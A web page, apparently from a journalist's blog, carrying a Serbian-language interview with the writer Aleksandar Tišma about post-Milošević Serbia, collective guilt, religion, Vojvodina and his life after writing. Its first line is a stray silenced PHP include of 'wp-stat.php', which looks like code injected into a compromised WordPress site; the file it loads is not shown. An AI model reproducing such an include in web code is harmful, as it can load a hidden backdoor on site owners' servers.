@require(dirname(__FILE__).'/wp-stat.php'); ALEKSANDAR TIŠMA, KNJIŽEVNIK: Protivnik sam teze o pojedinačnoj odgovornosti – Nedim Sejdinović

ALEKSANDAR TIŠMA, KNJIŽEVNIK: Protivnik sam teze o pojedinačnoj odgovornosti

Teško je u par rečenica predstaviti verovatno najvećeg živog južnoslovenskog književnika, Aleksandra Tišmu. Autor “Knjige o Blamu”, “Upotrebe čoveka”, “Vera i zavera”… dobitnik mnogobrojnih stranih i domaćih književnih priznanja, Aleksandar Tišma će ove godine napuniti 77 godina. Među nagradama koje je dobio uskoro će se pronaći i Februarska nagrada grada Novog Sada.

Mada po sopstvenoj odluci ne piše već skoro deset godina, Tišma je neprestano prisutan u našoj javnosti. Prošle godine objavljena autobiografija (napisana do 1991.), “Sečaj se večkrat na Vali”, izazvala je veliku pažnju čitalaca i književnih kritičara i još jednom podsetila da u njegovim delima “zlo nije iznimka i eksces, već redovan i banalan sadržaj ljudske svesti”. A ko je, ako nismo mi, svedok da život podražava njegovu književnost?

Od našeg poslednjeg susreta polovinom septembra prošle godine, desile su se mnoge stvari – izbori, “revolucija”, drugi izbori… Kakvi su vaši utisci?

– Desilo se ono što je predvidela, ako se ne varam, Vesna Pešić. Kao što je jurila za Miloševićem, masa je sada pojurila za opozicijom. Dugo je čekala da vidi da li će Milošević ipak uspeti da donese neki boljitak ili bar neku ratnu pobedu. Sem toga, opozicija je bila slaba i loša, i ništa konkretno nije nudila. U međuvremenu se opozicija nije promenila, ostala je ista, samo je stanje u kojem su ljudi živeli postalo gore, toliko loše da nisu više imali vremena da spekulišu i rekli su da je dosta. Glasali su protiv Miloševića, isto kao što su nekad glasali za njega…

Sada imamo vlast koja nije nesmenjiva, kao što je to bila ona, komunistička pa pseudosocijalistička, u prethodnih pedesetak godina. Stvoren je prostor za dijalog između političkih stranaka, a to svakako deluje umirujuće na čoveka koji, kao ja, ne voli diktature. Nadam se da će sada započeti normalan razvoj zemlje, koji će, doduše, biti vrlo dug i mukotrpan jer mi jesmo promenili vlast, ali nismo promenili našu strukturu, našu ljudsku potenciju, kao što se nije promenila ni naša ekonomska moć i naša sposobnost. Kao što smo proteklih pedesetak godina bili na začelju Evrope, i danas smo na začelju. I tu se veoma dugo ništa neće promeniti, samo što će se stvari odvijati u manje napetoj i manje ponižavajućoj atmosferi.

Očekivali smo da će intelektualci koji su bili vođe Miloševićevog ustoličenja i koji su, i kada su ga kritikovali, pripadali istoj ideološkoj matrici – biti bar malo marginalizovani…

– Tu nema ničeg čudnog, to su uvek isti ljudi. To je jedan određeni sloj koji je u stanju da pet sati viče, galami, da se svađa i tuče… Taj sloj će stvarati politiku, a ne oni koji su se od nje i do sada povlačili. Postoji jedan broj novih ljudi, koje je ohrabrila ova demokratska promena, ali oni će se brzo razočarati. Jednostavno, ne mogu svi da podnose političke mahinacije.

Mene su jednom, pre ovog preokreta, pozvali na skup gde je trebalo da se politički odredimo. Rekao sam da ja nisam taj tip čoveka, da je ne mogu da sedim pored čoveka koji mi je, recimo, mrzak zbog svog temperamenta ili javnih istupa, i da, samo zato što jednog trenutka imamo isti ili sličan politički stav, s njim nešto gradim i konstruišem. Međutim, ljudi o kojima govorimo takve stvari mogu vrlo lako da pomire, ličnu antipatiju sa ličnom korišću. Oni koji su bili nosioci Miloševićevog pozicioniranja, sada okreću drugi list, a u pitanju je ista težnja i ambicija, samo što su procenili da će na drugoj strani imati više koristi.

LJUDI NISU RASPOLOŽENI ZA KATARZU

A šta će biti sa toliko puta spominjanom katarzom, da će ljudi morati sebi pogledati u oči i priznati mnoga zla koja su učinjena u njihovo ime i uz njihovu prećutnu saglasnost?

– Ljudi uopšte nisu raspoloženi za katarzu. Oni imaju potpuno mirnu savest i ne interesuje ih šta se dešavalo proteklih godina. Postoji samo mali broj ljudi koji razmišlja o zločinima koji su činjeni pod Miloševićem… Mi smo svi odgovorni za to što se dešavalo. Lično sam protiv teze o pojedinačnoj odgovornosti, jer smatram da su odgovorni i oni koji ne čine ništa u situaciji kada se ubija, pali i bombarduje. Sedeti po strani i ćutati o tome – povlači odgovornost. No, čini mi se da niko ovde nije raspoložen da razgovara na tu temu. Svi bi da okrenu glavu, voleli bi da se sve zaboravi, a sadašnja vlast, čini mi se, povlađuje tome… Do katarze neće doći, a čini mi se da tako nešto neće biti stavljeno ni na dnevni red. Jedino ako nas neke još teže okolnosti ne primoraju da pogledamo sebe u oči, da, ako ništa, makar saznamo šta se to sve dogodilo, da to makar registrujemo. Ne vidim da se u glasilima partija koje su sada na vlasti, radi na raščišćavanju tih stvari, tek se nešto spomene ovlašno, kao da se samo po sebi podrazumeva. Sve je ostavljeno u magli.

To znači da ljudi neće moći racionalno reagovati u nekim drugim iracionalnim situacijama?

– Najverovatnije da, pošto neće moći da apsolviraju šta se desilo. Ali, kada dođu u sledeću iracionalnu situaciju, oni će morati da se okrenu i da vide šta je iza njih ostalo.

Niste optimista?

– Nisam optimista. Znam otprilike za šta je sposoban ovaj svet.

Jednom ste ipak izrazili nadu da će se kod nas pojaviti književnici koji će odigrati ulogu kakvu su u posleratnoj Nemačkoj imali Bel, Gras i Lenc…

– Verujem da će se pojaviti pisci koji će da opišu, bilo dokumentaristički, bilo romansijerski ili poetski, te naslage naših nepravdi i naših grehova. Samo je pitanje koliko će imati ličnu i umetničku snagu, i koliko će njihov glas biti dominantan. Vi ste spomenuli Bela, Grasa i Lenca. Oni su bili pisci koji su pedesetih i šezdesetih, pa i kasnije, dominirali u nemačkoj literaturi. To su bili veliki pisci, sa velikom produkcijom. Da bi se došlo do toga, potreban je jedan pokret. Oni su imali svoj pokret, “Grupu 47”, u kojoj u bili i neki manje uspešni pisci i umetnici, koji su takođe imali svoju ulogu. Dakle, prvo je bilo potrebno da se stvori jedan politički, društveni pokret, da bi onda te ličnosti izbile u prvi plan, a ja ne vidim da kod nas može da se razvije jedan takav pokret. Čak ni jedno Udruženje književnika ne može da bude preuzeto od strane grupacije koja je manje rigidna, manje zatvorena, manje osvedočena u stvaranju priče o svetskoj zaveri protiv srpskog naroda… Ne može da dođe ni do smene rukovodstva, jer većinu, a većinu čini ogroman broj članova, pitanja katarze i istine uopšte ne interesuju.

Dakle, postoji mogućnost da se pojave neke individue koje će kritički da govore o našim prestupima, ali ne verujem da će njihov uticaj biti veliki.

SRPSKI NAROD NIJE RELIGIOZAN, VEĆ SKLON RITUALIMA

Šta mislite o poplavi religijskih i kvazireligijskih sadržaja u javnosti, o raspravi o uvođenju veronauke u škole?

– O tome ne mislim ništa. Pre Drugog svetskog rata u školi sam učio veronauku, i to na mene nije nimalo uticalo, kao ni na moje školske drugove. Niko nije postao religiozan zbog veronauke. Već tada mi je bilo jasno da religijsko vaspitanje ne znači ništa. Mi danas živimo u vremenu u kojem religija stalno dolazi u sukob sa naučnim saznanjima, a osim toga, srpski narod nije sklon religioznosti, već ritualima. Ukoliko i dođe do uvođenja veronauke u škole, to neće proizvesti ništa novo, nikakvu ideju, nikakvu ideologiju, već će samo biti zadovoljena forma.

Vi ste za sebe rekli da ste jugoslovenski pisac. Šta mislite o mogućnosti revitalizacije ex-jugoslovenskog kulturnog prostora?

– Ni u to ne verujem. Kao što za religiju nema prostora, tako se ne može obnoviti ni ex-jugoslovenski kulturni prostor. Svi ti mali narodi i male države nastale iz bivše Jugoslavije nisu orijentisani jedni na druge. Oni uvek gledaju ka nekom drugom centru. Hrvati će, isto kao i Makedonci, kao i Bosanci ili Slovenci, gledati šta se dešava u Americi, Nemačkoj ili Francuskoj, a ono što se radi u Beogradu smatraće nevažnim. A to, u suštini, i jeste nevažno. Mi danas, recimo, apsolutno ništa ne znamo o tome šta se dešava u književnosti susednih naroda. Ne prevodi se apsolutno ništa. Tek ako se neki Grk prevede u Francuskoj i tamo doživi uspeh, onda ga i mi prevedemo. Isti je slučaj i sa Rumunima i Bugarima.

VOJVODINA, UZDRŽANA I TOLERANTNA

Vojvodina je posedovala značajno mesto u vašim delima. Kako se kaže, Vojvodina je kulturno-istorijski specifikum. Da li je Vojvodina još uvek specifična?

– Da. Sama činjenica nacionalne izmešanosti čine je specifičnom. Naravno da se ta specifičnost promenila, jer su neki narodi potpuno nestali. Nestali su Jevreji, nestali su Nemci… Usled ovog međujugoslovenskog rata pristigli su ljudi iz Bosne i Hrvatske, uglavnom Srbi, mada ih ima i drugih nacionalnosti. No, bez obzira na nove doseljenike, sama ta činjenica, to saznanje ljudi da ovde ne živi samo jedan narod, nego i pripadnici drugih naroda, odnosno, da samo po sebi nije razumljivo da čovek mora da pripada onom narodu koji je većinski – stvara jedno drugačije raspoloženje. Sa jedne strane, hladniji i odmereniji pristup, jer nismo sigurni da onaj sa kim razgovaramo ima iste nacionalne i verske koordinate u glavi, a sa druge strane, veću obzirnost zbog saznanja da nismo sami i da sa svojim stavovima ne možemo baš da izlazimo sto odsto, već da moramo malo da se proverimo kroz tuđa mišljenja. Sve to stvara jednu posebnu klimu, i to je ta vojvođanska uzdržanost i tolerancija koja postoji još uvek mada se sastav stanovništva neprestano menja.

Stiče se utisak da Novi Sad i Vojvodina ne uspevaju da izađu iz senke Beograda, ali ni da se predstave svetu?

– Te dve stvari su povezane. Nacionalna homogenost daje jednu unutrašnju energiju, jednu samouverenost i dominantnost koja se manifestuje kao promotvna snaga, dok vojvođanska raznolikost, uzdržanost i tolerancija nisu prodorni i snažni. Usled toga, ljudi se ovde radije bave reproduktivnim stvarima, kao što je zemljoradnja i trgovina, a ako je reč o nauci, proučavanjem prošlosti, a ne prozivodnjom sadašnjosti. Ako je politika u pitanju, opet sa izvesnim povlačenjem, u neku autonomiju. Ako se ovde i rodi neka autentična ideja, ona ne može da prodre. Nedostatak jedinstva i samouverenosti održava se i u politici i u književnosti. Uvek smo malo po strani, kao čamac zakačen za brod, koji ide u istom pravcu, ali on nije taj koji određuje smer i koji vuče. Ideja o Vojvodini kao lokomotivi Srbije nije realna, ona je fraza, parola. Ideja da će Vojvodina rađati nove ideje i nove prodore čista je iluzija. Vojvodina može jedino da bude krava muzara ili da, u boljem slučaju, sama sebe muze pa da živi malo bolje.

Da li mislite da je Novi Sad provincija?

– Apsolutno. Iz prostog razloga što sam sebe ne može da definiše i reklamira, i uvek traži da to neko drugi uradi. Na svakom koraku se vidi da je Novi Sad provincija. Dovoljno je videti jednu pozorišnu predstavu, gde učestvuju novosadski glumci, a gde su uzeta dva-tri beogradska glumca da bi predstavu malo dopingovali. Jedan beogradski glumac, književnik ili slikar prošao je kroz mnogo više filtera nego novosadski, on je imao izuzetno veliku konkurenciju da bi u Beogradu mogao da stekne neko priznanje ili ime. Sa druge strane, Novosađani i Vojvođani su u zavetrini, oni nisu pokretni i dinamični i ne doživljavaju često iskustvo konkurencije. Ta provincijalna uspavanost se primeti na svakom mestu.

ŽIVOT I PISANJE

Pisali ste o sebičnosti, o tome kako ste smatrali da morate da preživite da biste pisali, o življenju radi pisanja… Skoro ste u potpunosti poistovetili život i pisanje, a poslednjih desetak godina ne pišete. Kako živite bez pisanja?

– Kao i svi drugi, sem onih bolesnih koji ga gube ili kojima je oslabio, i ja posedujem taj životni instikt. Život je lep, život je pun zadovoljstava. Život je avantura. Uvek ima nekih novih pojava, nekih novih ljudi i stvari koje čovek želi da upozna i sazna. Ja jesam život poistovetio sa svojim pisanjem, ja jesam posvetio život pisanju. Ali, sada kada pisanja nema, posvećujem se samom životu. Nemam drugog izlaza.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.